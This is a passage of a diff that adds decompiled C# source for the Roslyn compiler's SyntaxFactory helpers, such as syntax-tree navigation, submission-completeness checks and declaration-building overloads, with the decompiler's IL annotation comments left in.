SyntaxKind.NameMemberCref: + if (((Microsoft.CodeAnalysis.CSharp.Syntax.NameMemberCrefSyntax)parent).Name == node) + { + CSharpSyntaxNode parent2 = parent.Parent; + if (parent2 == null || parent2.Kind() != SyntaxKind.QualifiedCref) + { + return parent; + } + return parent2; + } + break; + case SyntaxKind.QualifiedCref: + if (((Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedCrefSyntax)parent).Member == node) + { + return parent; + } + break; + case SyntaxKind.ArrayCreationExpression: + if (((Microsoft.CodeAnalysis.CSharp.Syntax.ArrayCreationExpressionSyntax)parent).Type == node) + { + return parent; + } + break; + case SyntaxKind.ObjectCreationExpression: + if (node.Kind() == SyntaxKind.NullableType && ((Microsoft.CodeAnalysis.CSharp.Syntax.ObjectCreationExpressionSyntax)parent).Type == node) + { + return parent; + } + break; + case SyntaxKind.StackAllocArrayCreationExpression: + if (((Microsoft.CodeAnalysis.CSharp.Syntax.StackAllocArrayCreationExpressionSyntax)parent).Type == node) + { + return parent; + } + break; + case SyntaxKind.NameColon: + if (((SyntaxNode?)(object)parent.Parent).IsKind(SyntaxKind.Subpattern)) + { + return parent.Parent; + } + break; + } + return node; + } + } + } + + internal static Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalAccessExpressionSyntax? FindConditionalAccessNodeForBinding(CSharpSyntaxNode node) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode cSharpSyntaxNode = node; + while (cSharpSyntaxNode != null) + { + cSharpSyntaxNode = cSharpSyntaxNode.Parent; + if (cSharpSyntaxNode.Kind() == SyntaxKind.ConditionalAccessExpression) + { + Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalAccessExpressionSyntax conditionalAccessExpressionSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.ConditionalAccessExpressionSyntax)cSharpSyntaxNode; + SyntaxToken operatorToken = conditionalAccessExpressionSyntax.OperatorToken; + if (((SyntaxToken)(ref operatorToken)).EndPosition == ((SyntaxNode)node).Position) + { + return conditionalAccessExpressionSyntax; + } + } + } + return null; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? GetNonGenericExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00eb: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + if (expression != null) + { + switch (expression.Kind()) + { + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + { + Microsoft.CodeAnalysis.CSharp.Syntax.MemberAccessExpressionSyntax memberAccessExpressionSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.MemberAccessExpressionSyntax)expression; + if (memberAccessExpressionSyntax.Name.Kind() == SyntaxKind.GenericName) + { + Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax genericNameSyntax2 = (Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax)memberAccessExpressionSyntax.Name; + return BinaryExpression(expression.Kind(), memberAccessExpressionSyntax.Expression, memberAccessExpressionSyntax.OperatorToken, IdentifierName(genericNameSyntax2.Identifier)); + } + break; + } + case SyntaxKind.QualifiedName: + { + Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax qualifiedNameSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax)expression; + if (qualifiedNameSyntax.Right.Kind() == SyntaxKind.GenericName) + { + Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax genericNameSyntax3 = (Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax)qualifiedNameSyntax.Right; + return QualifiedName(qualifiedNameSyntax.Left, qualifiedNameSyntax.DotToken, IdentifierName(genericNameSyntax3.Identifier)); + } + break; + } + case SyntaxKind.AliasQualifiedName: + { + Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax aliasQualifiedNameSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax)expression; + if (aliasQualifiedNameSyntax.Name.Kind() == SyntaxKind.GenericName) + { + Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax genericNameSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax)aliasQualifiedNameSyntax.Name; + return AliasQualifiedName(aliasQualifiedNameSyntax.Alias, aliasQualifiedNameSyntax.ColonColonToken, IdentifierName(genericNameSyntax.Identifier)); + } + break; + } + } + } + return expression; + } + + public static bool IsCompleteSubmission(SyntaxTree tree) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Invalid comparison between Unknown and I4 + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_0120: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + if (tree == null) + { + throw new ArgumentNullException("tree"); + } + if ((int)tree.Options.Kind != 1) + { + throw new ArgumentException(CSharpResources.SyntaxTreeIsNotASubmission); + } + if (!tree.HasCompilationUnitRoot) + { + return false; + } + Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax compilationUnitSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax)(object)tree.GetRoot(default(CancellationToken)); + if (!((SyntaxNode)compilationUnitSyntax).HasErrors) + { + return true; + } + SyntaxToken endOfFileToken = compilationUnitSyntax.EndOfFileToken; + foreach (Diagnostic diagnostic in ((SyntaxToken)(ref endOfFileToken)).GetDiagnostics()) + { + ErrorCode code = (ErrorCode)diagnostic.Code; + if (code == ErrorCode.ERR_EndifDirectiveExpected || code == ErrorCode.ERR_OpenEndedComment || code == ErrorCode.ERR_EndRegionDirectiveExpected) + { + return false; + } + } + SyntaxNode val = ((SyntaxNode)compilationUnitSyntax).ChildNodes().LastOrDefault(); + if (val == null) + { + return true; + } + if (val.HasTrailingTrivia && val.ContainsDiagnostics && HasUnterminatedMultiLineComment(val.GetTrailingTrivia())) + { + return false; + } + if (val.IsKind(SyntaxKind.IncompleteMember)) + { + return false; + } + if (!val.IsKind(SyntaxKind.GlobalStatement)) + { + SyntaxToken lastToken = val.GetLastToken(true, true, true, true); + return !((SyntaxToken)(ref lastToken)).IsMissing; + } + Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax globalStatementSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax)(object)val; + SyntaxToken token = val.GetLastToken(true, true, true, true); + if (((SyntaxToken)(ref token)).IsMissing) + { + if ((int)tree.Options.Kind == 0 || !((SyntaxNode?)(object)globalStatementSyntax.Statement).IsKind(SyntaxKind.ExpressionStatement) || !token.IsKind(SyntaxKind.SemicolonToken)) + { + return false; + } + token = ((SyntaxToken)(ref token)).GetPreviousToken(SyntaxToken.Any, SyntaxTrivia.Any); + if (((SyntaxToken)(ref token)).IsMissing) + { + return false; + } + } + foreach (Diagnostic diagnostic2 in ((SyntaxToken)(ref token)).GetDiagnostics()) + { + switch ((ErrorCode)diagnostic2.Code) + { + case ErrorCode.ERR_NewlineInConst: + case ErrorCode.ERR_EOFExpected: + case ErrorCode.ERR_UnterminatedStringLit: + case ErrorCode.ERR_GlobalDefinitionOrStatementExpected: + return false; + } + } + return true; + } + + private static bool HasUnterminatedMultiLineComment(SyntaxTriviaList triviaList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = ((SyntaxTriviaList)(ref triviaList)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + if (((SyntaxTrivia)(ref current)).ContainsDiagnostics && current.Kind() == SyntaxKind.MultiLineCommentTrivia) + { + return true; + } + } + return false; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CaseSwitchLabelSyntax CaseSwitchLabel(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax value) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return CaseSwitchLabel(Token(SyntaxKind.CaseKeyword), value, Token(SyntaxKind.ColonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DefaultSwitchLabelSyntax DefaultSwitchLabel() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return DefaultSwitchLabel(Token(SyntaxKind.DefaultKeyword), Token(SyntaxKind.ColonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax Block(params Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax[] statements) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Block(List(statements)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax Block(IEnumerable statements) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Block(List(statements)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PropertyDeclarationSyntax PropertyDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax accessorList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return PropertyDeclaration(attributeLists, modifiers, type, explicitInterfaceSpecifier, identifier, accessorList, null, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorDeclaration(attributeLists, modifiers, implicitOrExplicitKeyword, operatorKeyword, type, parameterList, body, null, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, SyntaxToken operatorKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorDeclaration(attributeLists, modifiers, implicitOrExplicitKeyword, null, operatorKeyword, type, parameterList, body, expressionBody, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorDeclaration(attributeLists, modifiers, implicitOrExplicitKeyword, null, type, parameterList, body, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax ConversionOperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken implicitOrExplicitKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + return ConversionOperatorDeclaration(attributeLists, modifiers, implicitOrExplicitKeyword, explicitInterfaceSpecifier, operatorKeyword, default(SyntaxToken), type, parameterList, body, expressionBody, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax OperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken operatorKeyword, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return OperatorDeclaration(attributeLists, modifiers, returnType, operatorKeyword, operatorToken, parameterList, body, null, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax OperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken operatorKeyword, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return OperatorDeclaration(attributeLists, modifiers, returnType, null, operatorKeyword, operatorToken, parameterList, body, expressionBody, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax OperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + return OperatorDeclaration(attributeLists, modifiers, returnType, null, operatorToken, parameterList, body, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax OperatorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax returnType, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken operatorKeyword, SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax? expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + return OperatorDeclaration(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, operatorKeyword, default(SyntaxToken), operatorToken, parameterList, body, expressionBody, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax UsingDirective(Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax alias, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return UsingDirective(Token(SyntaxKind.UsingKeyword), default(SyntaxToken), alias, name, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax UsingDirective(SyntaxToken usingKeyword, SyntaxToken staticKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax? alias, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return UsingDirective(default(SyntaxToken), usingKeyword, staticKeyword, default(SyntaxToken), alias, name, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ClassOrStructConstraintSyntax ClassOrStructConstraint(SyntaxKind kind, SyntaxToken classOrStructKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return ClassOrStructConstraint(kind, classOrStructKeyword, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax body) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return AccessorDeclaration(kind, attributeLists, modifiers, body, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax body, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return AccessorDeclaration(kind, attributeLists, modifiers, keyword, body, null, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax expressionBody) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return AccessorDeclaration(kind, attributeLists, modifiers, null, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AccessorDeclarationSyntax AccessorDeclaration(SyntaxKind kind, SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return AccessorDeclaration(kind, attributeLists, modifiers, keyword, null, expressionBody, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EnumMemberDeclarationSyntax EnumMemberDeclaration(SyntaxList attributeLists, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.EqualsValueClauseSyntax? equalsValue) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return EnumMemberDeclaration(attributeLists, default(SyntaxTokenList), identifier, equalsValue); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax NamespaceDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxList externs, SyntaxList usings, SyntaxList members) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return NamespaceDeclaration(default(SyntaxList), default(SyntaxTokenList), name, externs, usings, members); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax NamespaceDeclaration(SyntaxToken namespaceKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxToken openBraceToken, SyntaxList externs, SyntaxList usings, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return NamespaceDeclaration(default(SyntaxList), default(SyntaxTokenList), namespaceKeyword, name, openBraceToken, externs, usings, members, closeBraceToken, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax EventDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken eventKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax accessorList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + return EventDeclaration(attributeLists, modifiers, eventKeyword, type, explicitInterfaceSpecifier, identifier, accessorList, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EventDeclarationSyntax EventDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken eventKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return EventDeclaration(attributeLists, modifiers, eventKeyword, type, explicitInterfaceSpecifier, identifier, null, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchStatementSyntax SwitchStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxList sections) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Unknown result type (might be due to invalid IL or missing references) + bool num = !(expression is Microsoft.CodeAnalysis.CSharp.Syntax.TupleExpressionSyntax); + SyntaxToken openParenToken = (SyntaxToken)(num ? Token(SyntaxKind.OpenParenToken) : default(SyntaxToken)); + SyntaxToken closeParenToken = (SyntaxToken)(num ? Token(SyntaxKind.CloseParenToken) : default(SyntaxToken)); + return SwitchStatement(default(SyntaxList), Token(SyntaxKind.SwitchKeyword), openParenToken, expression, closeParenToken, Token(SyntaxKind.OpenBraceToken), sections, Token(SyntaxKind.CloseBraceToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SwitchStatementSyntax SwitchStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return SwitchStatement(expression, default(SyntaxList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter, CSharpSyntaxNode body) + { + if (!(body is Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block)) + { + return SimpleLambdaExpression(parameter, null, (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax)body); + } + return SimpleLambdaExpression(parameter, block, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SimpleLambdaExpressionSyntax SimpleLambdaExpression(SyntaxToken asyncKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterSyntax parameter, SyntaxToken arrowToken, CSharpSyntaxNode body) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (!(body is Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block)) + { + return SimpleLambdaExpression(asyncKeyword, 